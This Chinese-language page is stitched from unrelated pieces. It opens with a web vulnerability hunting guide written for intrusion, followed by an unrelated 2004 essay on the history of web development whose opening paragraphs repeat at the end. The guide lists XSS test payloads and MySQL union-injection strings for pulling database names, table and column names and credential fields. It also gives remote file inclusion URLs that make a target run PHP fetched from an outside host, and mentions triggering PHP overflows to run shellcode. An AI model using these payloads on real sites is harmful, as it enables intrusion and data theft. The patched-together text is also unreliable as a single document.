前言

漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.

在针对ELF文件 PE文件(.exe与.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术.

网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.



WEB漏洞的分类

A: SQL注入(包括MSSQL MySQL Oracle等)

SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.

B: 文件包含类型,如PHP的的远程 本地文件包含漏洞

文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传WEBSHELL,然后本地提升权限的作用.

C: XSS

XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法.

同时例如session欺骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的.



WEB漏洞挖掘规则

我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:



http://website/index1.php?id=<script>alert("111")</script>

如果对方的代码过滤了”双引号那么可以通过



http://website/index1.php?id=<script>alert('111')</script>

采用’单引号测试若单引号也过滤呢?OK,我们这样来测试



http://website/index1.php?id=<script>alert(111)</script>

使用数字提交,这样测试XSS的漏洞就扩展到了三条有些具体的站点可能还会有很多的问题,例如:

通过构造HTML语句来实现XSS漏洞的挖掘等等.

A: XSS的漏洞挖掘规则



http://website/index1.php?id=<script>alert("111")</script>
http://website/index1.php?id=<script>alert('111')</script>
http://website/index1.php?id=<script>alert(111)</script>
http://website/index1.php?id=<body+onload=alert("1111")>
http://website/index1.php?id=<body+onload=alert('1111')>
http://website/index1.php?id=<body+onload=alert(1111)>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert("1111")>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert('1111')>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert(1111)>
http://website/index1.php?id=<"
http://website/index1.php?id=<'
http://website/index1.php?id=<
http://website/index1.php?id=<!--
http://website/index1.php?id=-->
http://website/index1.php?id=<!-- -->

使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些我测试一些站点的时候,使用这些规则基本上可以找到一些XSS漏洞.

B: SQL Injection

现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较强的工具,目前书写一款功能较强的MySQL注入检测工具也基本纳入了2007年的计划内.

下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对的地方希望大家给予指针.

下面的这四个语句判断是否存在mysql注入,其中’号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下



http://website/index1.php?id=1'
http://website/index1.php?id=1 and 1=1
http://website/index1.php?id=1 and 1=2
http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止

下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4



http://website/index1.php?id=1 and 1=1 union select 1,2,3,4
http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4
http://website/index1.php?id=1 and 1=1 union select 1/*
http://website/index1.php?id=1 and 1=1 union select version()/*
http://website/index1.php?id=1 and 1=1 union select databse()/*

猜测表名:



http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2
//where 1=2 不打印猜测表的内容

这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select的字段个数再使用,否则mysql会报错.



http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以得到更多的数据库信息了

上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.

在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表的具体字段到底是干什么的

1: KEY_COLUMN_USAGE表

constraint_schema: 存放数据库名
table_schema: 存放数据库名
table_name: 存放数据库表信息
column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息
2: SCHEMA表

schema_name: 存放数据库名
default_charater_set_name: 存放charset类型
default_collation_name: 存放charset相关信息
3: SCHEMA_PRIVILEGES表

grantee: 存放数据库用户名
table_schema: 表名
privilege_type: 权限
4: STATISTICS表

table_schema: 存放数据库名
table_name: 存放表名
index_schema: 数据库名
index_name: 是否缩引?
column_name: 存放索引自增字段?
5: TABLES表

table_schema: 存放数据库名
table_name: 存放表名
table_type: 表类型 SYSTEM or BASE TABLE
engin: MEMORY MYISAM InnoDB
version:
table_rows:表的行数
auto_increment: 自增的总行数
create_time: 创建表的时间
update_time: 更新表的时间
create_options: 创建表时的约束条件
…
有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果.我在本地测试时一切OK

猜测列名:



http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2

按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password

C: 文件包含漏洞

文件包含漏洞的测试,有以下几个比较简单且有效的办法.

1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式

2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式

然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:



http://bbs.cciss.cn/include.txt
http://bbs.cciss.cn/include

漏洞规则:



http://website/file.php?inc=http://bbs.cciss.cn/include.txt
http://website/file.php?inc=http://bbs.cciss.cn/include.txt?
http://website/file.php?inc=http://bbs.cciss.cn/include?
http://website/file.php?inc=http://bbs.cciss.cn/include

使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.

例如从XSS漏洞的检测规则可能会发现包含文件漏洞

如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),那么我们如何利用这样的漏洞呢?

我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞



http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)

当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.



总结

针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取手工办法测试的规则,更多的规则是依靠经验不断积累所致

本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,希望对大家有所帮助.

            
Web开发技术史话
            
        

Note
本文发表于2004年4月《程序员》

讨论Web开发技术的历史，当然要先说说Web的起源。众所周知，Web这个Internet上最热门的应用架构是由Tim Berners-Lee发明的。Web的前身是1980年Tim Berners-Lee负责的Enquire（Enquire Within Upon Everything的简称）项目。1990年11月，第一个Web服务器nxoc01.cern.ch开始运行，Tim Berners-Lee在自己编写的图形化Web浏览器"WorldWideWeb"上看到了最早的Web页面。1991年，CERN（European Particle Physics Laboratory）正式发布了Web技术标准。目前，与Web相关的各种技术标准都由著名的W3C组织（World Wide Web Consortium）管理和维护。
从技术层面看，Web架构的精华有三处：用超文本技术（HTML）实现信息与信息的连接；用统一资源定位技术（URI）实现全球信息的精确定位；用新的应用层协议（HTTP）实现分布式的信息共享。这三个特点无一不与信息的分发、获取和利用有关。其实，Tim Berners-Lee早就明确无误地告诉我们："Web是一个抽象的（假想的）信息空间。"也就是说，作为Internet上的一种应用架构，Web的首要任务就是向人们提供信息和信息服务。
很可惜，在Web应用日新月异的今天，许多搞技术的人似乎已经忘记了Web架构的设计初衷。他们在自己开发的网站或Web应用中大肆堆砌各种所谓的"先进"技术，但最终用户能够在这些网站或应用中获得的有价值信息却寥寥无几。这个问题绝不像评论者常说的"有路无车"或"信息匮乏"那么简单。一个Web开发者倘若忘记了Web技术的最终目标是提供信息和信息服务，他的愚蠢程度就丝毫不亚于一个在足球场上只知道卖弄技巧，却忘记了射门得分的大牌球星。从这个角度来说，评价一种Web开发技术优劣的标准只有一个，那就是看这种技术能否在最恰当的时间和最恰当的地点，以最恰当的方式，为最需要信息的人提供最恰当的信息服务。

 
            

            
1 客户端技术的萌芽和演进
            
            

            

            
        

        

Web是一种典型的分布式应用架构。Web应用中的每一次信息交换都要涉及到客户端和服务端两个层面。因此，Web开发技术大体上也可以被分为客户端技术和服务端技术两大类。我们先来谈谈客户端技术的萌芽和演进过程。
Web客户端的主要任务是展现信息内容，而HTML语言则是信息展现的最有效载体之一。作为一种实用的超文本语言，HTML的历史最早可以追溯到上世纪四十年代。1945年，Vannevar Bush在一篇文章中阐述了文本和文本之间通过超级链接相互关联的思想，并在文中给出了一种能实现信息关联的计算机Memex的设计方案。Doug Engelbart等人则在1960年前后，对信息关联技术做了最早的实验。与此同时，Ted Nelson正式将这种信息关联技术命名为超文本（Hypertext）技术。1969年，IBM的Charles Goldfarb发明了可用于描述超文本信息的GML（Generalized Markup Language）语言。1978到1986年间，在ANSI等组织的努力下，GML语言进一步发展成为著名的SGML语言标准。当Tim Berners-Lee和他的同事们在1989年试图创建一个基于超文本的分布式应用系统时，Tim Berners-Lee意识到，SGML是描述超文本信息的一个上佳方案，但美中不足的是，SGML过于复杂，不利于信息的传递和解析。于是，Tim Berners-Lee对SGML语言做了大刀阔斧的简化和完善。1990年，第一个图形化的Web浏览器"WorldWideWeb"终于可以使用一种为Web度身定制的语言--HTML来展现超文本信息了。
最初的HTML语言只能在浏览器中展现静态的文本或图像信息，这满足不了人们对信息丰富性和多样性的强烈需求--这件事情最终的结果是，由静态技术向动态技术的转变成为了Web客户端技术演进的永恒定律。
能存储、展现二维动画的GIF图像格式早在1989年就已发展成熟。Web出现后，GIF第一次为HTML页面引入了动感元素。但更大的变革来源于1995年Java语言的问世。Java语言天生就具备的平台无关的特点，让人们一下子找到了在浏览器中开发动态应用的捷径。1996年，著名的Netscape浏览器在其2.0版中增加了对JavaApplets和JavaScript的支持。Netscape的冤家对头，Microsoft的IE 3.0也在这一年开始支持Java技术。现在，喜欢动画、喜欢交互操作、喜欢客户端应用的开发人员可以用Java或JavaScript语言随心所欲地丰富HTML页面的功能了。顺便说一句，JavaScript语言在所有客户端开发技术中占有非常独特的地位：它是一种以脚本方式运行的，简化了的Java语言，这也是脚本技术第一次在Web世界里崭露头角。为了用纯Microsoft的技术与JavaScript抗衡，Microsoft还为1996年的IE 3.0设计了另一种后来也声名显赫的脚本语言--VBScript语言。
真正让HTML页面又酷又炫、动感无限的是CSS（Cascading Style Sheets）和DHTML（Dynamic HTML）技术。1996年底，W3C提出了CSS的建议标准，同年，IE 3.0引入了对CSS的支持。CSS大大提高了开发者对信息展现格式的控制能力。1997年的Netscape 4.0不但支持CSS，而且增加了许多Netscape公司自定义的动态HTML标记，这些标记在CSS的基础上，让HTML页面中的各种要素"活动"了起来。1997年，Microsoft发布了IE 4.0，并将动态HTML标记、CSS和动态对象模型（DHTML Object Model）发展成了一套完整、实用、高效的客户端开发技术体系，Microsoft称其为DHTML。同样是实现HTML页面的动态效果，DHTML技术无需启动Java虚拟机或其他脚本环境，可以在浏览器的支持下，获得更好的展现效果和更高的执行效率。今天，已经很少有哪个HTML页面的开发者还会对CSS和DHTML技术视而不见了。
为了在HTML页面中实现音频、视频等更为复杂的多媒体应用，1996年的Netscape 2.0成功地引入了对QuickTime插件的支持，插件这种开发方式也迅速风靡了浏览器的世界。在Windows平台上，Microsoft将客户端应用集成的赌注押到了1990年代中期刚刚问世的COM和ActiveX身上。1996年，IE 3.0正式支持在HTML页面中插入ActiveX控件的功能，这为其他厂商扩展Web客户端的信息展现方式开辟了一条自由之路。1999年，Realplayer插件先后在Netscape和IE浏览器中取得了成功，与此同时，Microsoft自己的媒体播放插件Media Player也被预装到了各种Windows版本之中。同样值得纪念的还有Flash插件的横空出世：1990年代初期，Jonathan Gay在FutureWave公司开发了一种名为Future Splash Animator的二维矢量动画展示工具，1996年，Macromedia公司收购了FutureWave，并将Jonathan Gay的发明改名为我们熟悉的Flash。从此，Flash动画成了Web开发者表现自我、展示个性的最佳方式。
除了编写HTML页面之外，客户端应用的开发者还可以利用一些成熟的技术将浏览器的功能添加到自己的应用程序中。从1992年开始，W3C就免费向开发者提供libwww开发库。借助libwww，我们可以自己编写Web浏览器和Web搜索工具，也可以分析、编辑或显示HTML页面。1999年，Microsoft在IE 5.0中引入的HTAs（HTML Applications）技术则允许我们直接将HTML页面转换为一个真正的应用程序。从1997年的IE 4.0开始，Microsoft为开发者提供了WebBrowser控件和其他相关的COM接口，允许程序员在自己的程序中直接嵌入浏览器窗口，或调用各种浏览器的功能，如分析或编辑HTML页面等。Windows 98及其后的Windows操作系统甚至还利用WSH（Windows Script Host）技术将原本只在浏览器中运行的JavaScript、VBScript变成了可以在WIN32环境下使用的通用脚本语言，这大概也可算作我们对Web客户端开发技术的一种巧妙利用吧。


 
            

            
2 服务端技术的成熟与发展
            
            

            

            
        

        

与客户端技术从静态向动态的演进过程类似，Web服务端的开发技术也是由静态向动态逐渐发展、完善起来的。
最早的Web服务器简单地响应浏览器发来的HTTP请求，并将存储在服务器上的HTML文件返回给浏览器。一种名为SSI（Server Side Includes）的技术可以让Web服务器在返回HTML文件前，更新HTML文件的某些内容，但其功能非常有限。第一种真正使服务器能根据运行时的具体情况，动态生成HTML页面的技术是大名鼎鼎的CGI（Common Gateway Interface）技术。1993年，CGI 1.0的标准草案由NCSA（National Center for Supercomputing Applications）提出，1995年，NCSA开始制定CGI 1.1标准，1997年，CGI 1.2也被纳入了议事日程。CGI技术允许服务端的应用程序根据客户端的请求，动态生成HTML页面，这使客户端和服务端的动态信息交换成为了可能。随着CGI技术的普及，聊天室、论坛、电子商务、信息查询、全文检索等各式各样的Web应用蓬勃兴起，人们终于可以享受到信息检索、信息交换、信息处理等更为便捷的信息服务了。
早期的CGI程序大多是编译后的可执行程序，其编程语言可以是C、C++、Pascal等任何通用的程序设计语言。为了简化CGI程序的修改、编译和发布过程，人们开始探寻用脚本语言实现CGI应用的可行方式。在此方面，不能不提的是Larry Wall于1987年发明的Perl语言。Perl结合了C语言的高效以及sh、awk等脚本语言的便捷，似乎天生就适用于CGI程序的编写。1995年，第一个用Perl写成的CGI程序问世。很快，Perl在CGI编程领域的风头就盖过了它的前辈C语言。随后，Python等著名的脚本语言也陆续加入了CGI编程语言的行列。
1994年，Rasmus Lerdorf发明了专用于Web服务端编程的PHP（Personal Home Page Tools）语言。与以往的CGI程序不同，PHP语言将HTML代码和PHP指令合成为完整的服务端动态页面，Web应用的开发者可以用一种更加简便、快捷的方式实现动态Web功能。1996年，Microsoft借鉴PHP的思想，在其Web服务器IIS 3.0中引入了ASP技术。ASP使用的脚本语言是我们熟悉的VBScript和JavaScript。借助Microsoft Visual Studio等开发工具在市场上的成功，ASP迅速成为了Windows系统下Web服务端的主流开发技术。当然，以Sun公司为首的Java阵营也不会示弱。1997年，Servlet技术问世，1998年，JSP技术诞生。Servlet和JSP的组合（还可以加上JavaBean技术）让Java开发者同时拥有了类似CGI程序的集中处理功能和类似PHP的HTML嵌入功能，此外，Java的运行时编译技术也大大提高了Servlet和JSP的执行效率--这也正是Servlet和JSP被后来的J2EE平台吸纳为核心技术的原因之一。


 
            

            
3 两种重要的企业开发平台
            
            

            

            
        

        

Web服务端开发技术的完善使开发复杂的Web应用成为了可能。在此起彼伏的电子商务大潮中，为了适应企业级应用开发的各种复杂需求，为了给最终用户提供更可靠、更完善的信息服务，两个最重要的企业级开发平台--J2EE和.NET在2000年前后分别诞生于Java和Windows阵营，它们随即就在企业级Web开发领域展开了你死我活的拼争。平台之争让整个Web世界在最近的几年里不得安宁，但从某种意义上说，也正是这种针锋相对的竞争关系促使了Web开发技术以前所未有的速度提高和跃进。
J2EE是纯粹基于Java的解决方案。1998年，Sun发布了EJB 1.0标准。EJB为企业级应用中必不可少的数据封装、事务处理、交易控制等功能提供了良好的技术基础。至此，J2EE平台的三大核心技术Servlet、JSP和EJB都已先后问世。1999年，Sun正式发布了J2EE的第一个版本。紧接着，遵循J2EE标准，为企业级应用提供支撑平台的各类应用服务软件争先恐后地涌现了出来。IBM的WebSphere、BEA的WebLogic都是这一领域里最为成功的商业软件平台。随着开源运动的兴起，JBoss等开源世界里的应用服务新秀也吸引了许多用户的注意力。到2003年时，Sun的J2EE版本已经升级到了1.4版，其中三个关键组件的版本也演进到了Servlet 2.4、JSP 2.0和EJB 2.1。至此，J2EE体系及相关的软件产品已经成为了Web服务端开发的一个强有力的支撑环境。
和J2EE不同的是，Microsoft的.NET平台是一个强调多语言间交互的通用运行环境。尽管.NET的设计者试图以.NET平台作为绝大多数Windows应用的首选运行环境，但.NET首先吸引的却是Web开发者的目光。2001年，ECMA通过了Microsoft提交的C#语言和CLI标准，这两个技术标准构成了.NET平台的基石，它们也于2003年成为了ISO的国际标准。2002年，Microsoft正式发布.NET Framework和Visual Studio .NET开发环境。早在.NET发布之前，就已经有许多Windows平台的Web开发者迫不及待地利用Beta版本开发Web应用了。这大概是因为，.NET平台及相关的开发环境不但为Web服务端应用提供了一个支持多种语言的、通用的运行平台，而且还引入了ASP.NET这样一种全新的Web开发技术。ASP.NET超越了ASP的局限，可以使用VB.NET、C#等编译型语言，支持Web Form、.NET Server Control、ADO.NET等高级特性。客观地讲，.NET平台，尤其是.NET平台中的ASP.NET的确不失为Web开发技术在Windows平台上的一个集大成者。


 
            

            
4 XML语言及相关技术
            
            

            

            
        

        

如果说HTML语言给Web世界赋予了无限生机的话，那么，XML语言的出现大概就可以算成是Web的一次新生了。按照Tim Berners-Lee的说法，Web是一个"信息空间"。HTML语言具有较强的表现力，但也存在结构过于灵活、语法不规范的弱点。当信息都以HTML语言的面貌出现时，Web这个信息空间是杂乱无章、没有秩序的。为了让Web世界里的所有信息都有章可循、有法可依，我们需要一种更为规范、更能够体现信息特点的语言。
1996年，W3C在SGML语言的基础上，提出了XML（Extensible Markup Language）语言草案。1998年，W3C正式发布了XML 1.0标准。XML语言对信息的格式和表达方法做了最大程度的规范，应用软件可以按照统一的方式处理所有XML信息。这样一来，信息在整个Web世界里的共享和交换就有了技术上的保障。HTML语言关心的是信息的表现形式，而XML语言关心的是信息本身的格式和数据内容。从这个意义上说，XML语言不但可以将客户端的信息展现技术提高到一个新的层次，而且可以显著提高服务端的信息获取、生成、发布和共享能力。为了将XML信息转换为HTML等不同的信息展现形式，1999年，W3C制定出了XSLT标准。同一年，IE 5.0增加了对XML和XSLT的支持。
现在，网站的开发者可以直接使用XML语言发布信息了。针对不同的应用领域，人们还制定了许多专门的XML规范。例如，2001年W3C发布的SVG（Scalable Vector Graphics）1.0标准就是一种用XML语言表达的、全新的二维矢量图形格式。开发者可以用SVG格式描述大多数已有的Flash动画。与Flash格式相比，符合XML标准的SVG格式显然更有利于信息交换和共享。
Web本身就是一个最大的分布式应用系统。对于分布式开发而言，XML技术也大有用武之地。一个明显的事实是，如果能让分布式应用借助XML格式交换信息，那么，以往横亘在分布式架构上的信息交换难题也就迎刃而解了。1999年，W3C和相关的企业开始讨论设计基于XML的通信协议，2000年，W3C发布SOAP（Simple Object Access Protocol）协议的1.1版。人们把利用SOAP协议传递XML信息的分布式应用模型称为Web Service。2001年，W3C发布了WSDL（Web Services Description Language）协议的1.1版。SOAP协议和WSDL协议共同构成了Web Service的基础。随后，J2EE和.NET这两大企业级开发平台先后实现了Web Service，并将其视为平台的一项核心功能。
Web Service对于Web开发者的重要意义在于，当我们需要在不同的服务端、不同的客户端乃至不同的应用类型、不同的计算设备之间传递信息的时候，以往的分布式开发技术或者因为适应性不强，或者因为扩展能力不足，都难以满足现代Web开发的需要，而Web Service正好填补了这一空白。


 
            

            
5 Web开发框架和应用模型
            
            

            

            
        

        

2000年以后，随着Web应用的日益复杂，人们逐渐意识到，单纯依靠某种技术多半无法达到快速开发、快速验证和快速部署的最佳境界。研究者开始尝试着将已有的Web开发技术综合起来，形成完整的开发框架或应用模型，并以此来满足各种复杂的应用需求。
Microsoft在客户端的技术集成方面走在了最前面。1998年时Microsoft推出的Windows 98就可以在桌面上集成Web页面，这实际上是将资源管理器和Web浏览器的功能有效地结合了起来。2000年后，Microsoft陆续推出了MSN Explorer和与之相关的MSN在线服务。这一应用模型将Web浏览、视频点播、邮件处理、网上游戏、在线聊天等许多种用户常用的Web功能集成在了一个统一的界面中。从信息利用的角度看，MSN试图让用户在一个最舒适的环境中获取足够的信息，这种努力的确值得人们称道。另一个与客户端技术集成相关的例子是搜索引擎Google在2003年展示给大家的Google工具栏功能。虽然Google工具栏有炒作和广告的嫌疑，但安装Google工具栏之后的IE浏览器将信息浏览和信息检索有机地结合了起来，这种小小的功能改进确实是对用户的体贴和帮助。
在Web服务端，2000年以后出现了几种主要的技术融合方式。首先，越来越多的Web开发环境开始支持MVC（Model-View-Contorller）的设计模型，为开发者提供了全套的开发框架。实际上，J2EE和.NET平台本身就是这种开发框架的典型代表。其次，门户服务（Portal Server）和Web内容管理（Web Content Management）在最近几年里成为了应用集成的重点模型。这两种应用模型可以直接为开发者或最终用户提供构建Web应用的高级平台，可以让Web开发和信息发布工作大为简化。在商业软件领域，这一类应用的例子包括Microsoft的SharePoint、IBM的WebSphere Portal、FileNet的Web Content Manager等等。开源项目在Web开发框架和应用模型方面表现得非常积极，Struts、Jetspeed、jPortlet、Cocoon、Lenya、XOOPS等都是开源世界里与MVC开发框架、门户服务和Web内容管理相关的优秀解决方案。
当然，技术集成绝不等于技术堆砌。一些Web站点和Web应用的开发者把XML语言、MVC框架等时髦技术拼凑起来，却不管它们是否能适应具体的应用环境，结果，他们的系统要么运行效率低下，要么功能残缺不全。反之，一个值得注意的事实是，像新浪、搜狐或网易这样的门户网站，在他们的信息发布页面（如新闻页面）里，尽管信息内容时刻都在刷新，但Web服务器上存放的始终都是静态的HTML页面。这种"落后技术"的优点是，在大量并发访问的情况下，门户网站的响应速度仍然很快。深入到技术层面，我们通常会惊讶地发现，这些网站使用的大多是自行研发的Web内容管理系统。当网站的内容编辑提交新的信息时，系统会自动将信息转换为HTML格式，发布到Web服务器集群的每一个结点上。在新浪网的一个角落里，我们可以找到"新浪网站发布系统"的研发历程：
V 1.0（1997）：基于文件的版本，实现新闻首页、正文和专题的发布。
V 1.1（1998/12）：采用数据库后台、实现跨服务器发布，自动化程度高。
V 2.0（1999/3）：创立模版和域的全新概念，奠定了该系列的基本设计思路。
V 2.1（1999/9）：增加周边模块，如搜索、自动采集。
V 3.0（2000/1）：优化传输方式，增加相关新闻和评论。
V 3C（2000/6）：V3.0的编译版，也是商业版的原型。
V 3.1（2000/7）：优化数据库结构，采用内存CACHE大幅提速，增加了集中监控功能。
V 3.1C（2000/8）：商业用测试版本。
V 3.2（正在制作中）：重点解决备份系统的自动化切换，在机制上实现永不宕机。

这一份有趣的历史记录再一次印证了我关于Web开发技术的基本观点：一种技术只要能为用户提供高水平的信息服务，它就是最好、最先进的技术。


 
            

            
6 Web开发技术的未来
            
            

            

            
        

        

所有人都在关心Web的发展前景，所有人都想知道十年以后的Web会长成什么样子。要回答这些问题，没有谁比W3C更有权威了。W3C明确地告诉我们，Web的未来是语义化的Web（Semantic Web）。今天的Web可以自如地生成、传递和展现各式各样的信息，但它还只是一个信息的"容器"，很难揭示出信息本身的内容和特性。与此相对的是，未来的语义化Web是一种懂得信息内容的Web，是真正的"信息管理员"。
从技术角度看，XML语言统一了信息的表达方式，但这离揭示信息内容的目标还相距甚远。1998年，W3C和一些研究机构开始对元数据（Metadata）进行研究。元数据是描述数据的数据，可以揭示信息的内容特性。1999年，NetScape提出的RSS（Rich Site Summary）建议标准是用元数据技术描述新闻等信息内容的第一次尝试。1999年，W3C的研究小组提出了RDF（Resource Description Framework）标准草案。RDF在XML语法的基础上，规定了元数据的存储结构和相关的技术标准。使用RDF语言，我们可以用统一的、可交换的格式揭示出信息本身的各种特性。2001年，W3C又开始着手制定OWL（OWL Web Ontology Language）标准。OWL语言也是一种符合XML标准的语言，它比RDF又前进了一步，可以更加深入、细致地描述信息内容。在RDF和OWL语言的帮助下，我们能让Web上的信息内容变得更容易理解、更便于交换和共享。2003年，W3C成立了语义化Web Service研究小组（Semantic Web Services Interest GroupInterest Group），研究在Web Service中加入语义技术的相关问题。2004年2月，W3C宣布RDF和OWL标准正式成为W3C的建议方案，这标志着语义化Web的大厦已经破土动工。
随着语义化Web的诞生和发展，Web开发技术也必将经历更为重大的变革。可以预见的是，在未来的几年里，还会有许多新的开发技术或开发平台出现。从静态技术到动态技术，从开发平台到应用模型，从传统Web到语义化Web……为了让更多的人获得更有价值的信息服务，Web开发者们也许还会经历一次又一次的技术浪潮，还会面临更为严峻的技术挑战，但这和信息共享的最高目标相比，又算得了什么呢？
[王咏刚，2004年3月]

讨论Web开发技术的历史，当然要先说说Web的起源。众所周知，Web这个Internet上最热门的应用架构是由Tim Berners-Lee发明的。Web的前身是1980年Tim Berners-Lee负责的Enquire（Enquire Within Upon Everything的简称）项目。1990年11月，第一个Web服务器nxoc01.cern.ch开始运行，Tim Berners-Lee在自己编写的图形化Web浏览器”WorldWideWeb”上看到了最早的Web页面。1991年，CERN（European Particle Physics Laboratory）正式发布了Web技术标准。目前，与Web相关的各种技术标准都由著名的W3C组织（World Wide Web Consortium）管理和维护。
从技术层面看，Web架构的精华有三处：用超文本技术（HTML）实现信息与信息的连接；用统一资源定位技术（URL）实现全球信息的精确定位；用新的应用层协议（HTTP）实现分布式的信息共享。这三个特点无一不与信息的分发、获取和利用有关。其实，Tim Berners-Lee早就明确无误地告诉我们：”Web是一个抽象的（假想的）信息空间。”也就是说，作为Internet上的一种应用架构，Web的首要任务就是向人们提供信息和信息服务。
很可惜，在Web应用日新月异的今天，许多搞技术的人似乎已经忘记了Web架构的设计初衷。他们在自己开发的网站或Web应用中大肆堆砌各种所谓的”先进”技术，但最终用户能够在这些网站或应用中获得的有价值信息却寥寥无几。这个问题绝不像评论者常说的”有路无车”或”信息匮乏”那么简单。一个Web开发者倘若忘记了Web技术的最终目标是提供信息和信息服务，他的愚蠢程度就丝毫不亚于一个在足球场上只知道卖弄技巧，却忘记了射门得分的大牌球星。从这个角度来说，评价一种Web开发技术优劣的标准只有一个，那就是看这种技术能否在最恰当的时间和最恰当的地点，以最恰当的方式，为最需要信息的人提供最恰当的信息服务。
1.客户端技术的萌芽和演进
Web是一种典型的分布式应用架构。Web应用中的每一次信息交换都要涉及到客户端和服务端两个层面。因此，Web开发技术大体上也可以被分为客户端技术和服务端技术两大类。我们先来谈谈客户端技术的萌芽和演进过程。
